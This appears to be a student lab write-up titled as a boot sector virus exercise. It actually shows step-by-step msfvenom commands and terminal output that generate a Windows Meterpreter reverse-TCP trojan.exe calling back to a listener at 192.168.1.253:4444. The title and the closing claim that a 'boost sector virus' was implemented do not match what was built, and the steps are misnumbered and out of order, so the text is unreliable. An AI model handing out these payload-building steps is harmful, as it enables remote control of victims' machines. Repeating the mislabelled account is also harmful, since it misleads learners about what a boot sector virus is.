

## IMPLEMENT THE BOOT SECTOR VIRUS

### AIM:

To implement boot sector virus.

### PROCEDURE:

#### Select Root Terminal Emulator

##### Step 1: Update and Upgrade Kali Linux

Open the terminal and type in : **sudo apt-get update**

Next, type in: **sudo apt-get upgrade**

##### Step 3: Fix any errors

If you see this, it means that bundler is either set up incorrectly or hasn't been updated.

To fix this, change the current directory (file) to `usr/share/metasploit-framework` by typing in:

```
>> cd /usr/share/metasploit-framework/
```

from the root directory. If you make a mistake, you can type in

```
>> cd ..
```

to go back to the previous directory or type in any directory after `cd` to go there.

3.Now that we are in the `metasploit-framework` directory, type in

```
>> gem install bundler
```

to install bundler, then type in

```
>> bundle install
```

4.If bundler is not the correct version, you should get a message telling you which version to install (in this case it was 1.17.3). Type in

```
>> gem install bundler:[version number]
```

and then type in : **gem update --system**

After all of that, everything should work perfectly.

```
>> cd /root
```

to go back to the root directory.

##### Step 2: Open exploit software

Open up the terminal and type in : **msfvenom**

##### Step 4: Choose our payload

To see a list of payloads : **msfvenom -l payload**

```
msfvenom -list-options -p windows/meterpreter/reverse_tcp
```

## Step 6: Generate the virus

Now that we have our payload, ip address, and port number, we have all the information that we need.

Type in:

Syntax:

```
msfvenom -p [payload] LHOST=[your ip address] LPORT=[the port number] -f [file type] > [path]
```

### Example

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.253 LPORT=4444 -f  
exe > trojan.exe
```

If we look in our files using `ls`, we see that our new file pops up.

OUTPUT:

[illegible]

```
File Actions Edit View Help
[kali@kali:~]$ msfvenom -i --options -p windows/meterpreter/reverse_tcp
Options for payload/windows/meterpreter/reverse_tcp:

Name: Windows Meterpreter (Reflective Injection), Reverse TCP Stager
Module: payload/windows/meterpreter/reverse_tcp
Platform: Windows
Arch: x86
Needs Admin: No
Total size: 296
Rank: Normal

Provided by:
  sage cmiller@hick.org>
  sf cstephen_fewer@harmonysecurity.com
  OJ Reeves
  hds <@hds.io>

Basic options:
Name      Current Setting  Required  Description
-----
EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST     192.168.1.253     yes       The listen address (an interface may be specified)
LPORT     4444              yes       The listen port

Description:
Inject the Meterpreter server DLL via the Reflective DLL Injection
payload (staged). Requires Windows XP SP2 or newer. Connect back to
the attacker

Advanced options for payload/windows/meterpreter/reverse_tcp:

Name      Current Setting  Required  Description
-----
AutoLoadStapi  true            yes       Automatically load the Stapi extension
AutoRunScript  true            yes       A script to run automatically on session creation.
AutoSystemInfo false           yes       Automatically capture system information on initialization.
AutoUnhookProcess  false          no       Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout  30             no       Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding  false          no       Encode the second stage payload
EnableUnicodeEncoding  false          yes       Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert  false          no       Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript  false          no       An initial script to run on session creation (before AutoRunScript)
MeterpreterDebugBuild  false          no       Use a debug version of Meterpreter
MeterpreterDebugLogging  false          no       The Meterpreter debug logging configuration, see https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Debugging-Meterpreter-Sessions
PayloadBindPort  false          no       Port to bind reverse tcp socket to on target system.
```

```
File Actions Edit View Help
PrependMigrate  false          yes       Spawns and runs shellcode in new process
PrependMigrateProc  false          no        Process to spawn and run shellcode in
ReverseAllInProxy  false          yes       Allow reverse tcp even with proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress  false          no        The specific IP address to bind to on the local system
ReverseListenerBindPort  false          no        The port to bind to on the local system if different from LPORT
ReverseListenerCom  false          no        The specific communication channel to use for this listener
ReverseListenerThreaded  false          yes       Handle every connection in a new thread (experimental)
SessionCommunicationTimeout  300            no        The number of seconds of no activity before this session should be killed
SessionExpirationTimeout  604800          no        The number of seconds before this session should be forcibly shut down
SessionRetryTotal  3600            no        Number of seconds try reconnecting for on network failure
SessionRetryWait  10              no        Number of seconds to wait between reconnect attempts
StageEncoder  false          no        Encoder to use if EnableStageEncoding is set
StageEncodersSaveRegisters  true           no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback  10             no        Fallback to no encoding if the selected stageencoder is not compatible
StagerRetryCount  10              no        The number of times the stager should retry if the first connect fails
StagerRetryWait  5               no        Number of seconds to wait for the stager between reconnect attempts
VERBOSE  false          no        Enable detailed status messages
WORKSPACE  no              no        Specify the workspace for this module

Evasion options for payload/windows/meterpreter/reverse_tcp:

Name      Current Setting  Required  Description
-----
[kali@kali:~]$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.253 LPORT=4444 -f exe > trojan.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 254 bytes
Final size of exe file: 73802 bytes

[kali@kali:~]$ msfvenom --p windows/meterpreter/reverse_tcp LHOST=192.168.1.253 LPORT=4444 -f exe > trojan.exe
/usr/bin/msfvenom:281:in `parse_args': ambiguous option: --p (OptionParser::AmbiguousOption)
from /usr/bin/msfvenom:407:in `<main>'

[kali@kali:~]$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.253 LPORT=4444 -f exe > trojan.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 254 bytes
Final size of exe file: 73802 bytes

[kali@kali:~]$ ls
Desktop Documents Downloads Music Pictures Public Templates trojan.exe Videos
[kali@kali:~]$
```

RESULT:Hence boost sector virus implemented successfully.